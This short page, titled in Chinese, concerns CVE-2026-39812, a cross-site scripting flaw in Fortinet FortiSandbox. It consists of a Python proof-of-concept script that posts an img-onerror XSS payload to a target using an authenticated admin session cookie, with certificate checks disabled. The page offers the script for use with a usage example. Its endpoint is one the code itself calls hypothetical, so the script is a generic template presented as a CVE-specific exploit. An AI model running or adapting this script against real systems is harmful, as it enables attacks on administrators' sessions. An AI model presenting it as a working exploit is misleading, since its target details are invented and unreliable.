CVE-2026-39812 Fortinet FortiSandbox 跨站脚本漏洞

import requests # PoC for CVE-2026-39812 # Vulnerability: Stored/Reflected XSS in Fortinet FortiSandbox # Description: This script attempts to inject a malicious payload. # Note: Requires authentication (PR:H) and a valid target endpoint. def exploit_xss(target_url, session_token): headers = { "Cookie": f"session={session_token}", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload to test script execution xss_payload = "<img src=x onerror=alert('CVE-2026-39812')>" # Hypothetical vulnerable endpoint (e.g., file submission or log entry) url = f"{target_url}/api/vuln_endpoint" data = { "description": xss_payload, "submit": "Submit" } try: response = requests.post(url, headers=headers, data=data, verify=False) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Check if the alert triggers when an admin views the page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage Example # exploit_xss("https://<target-ip>", "<admin_session_token>")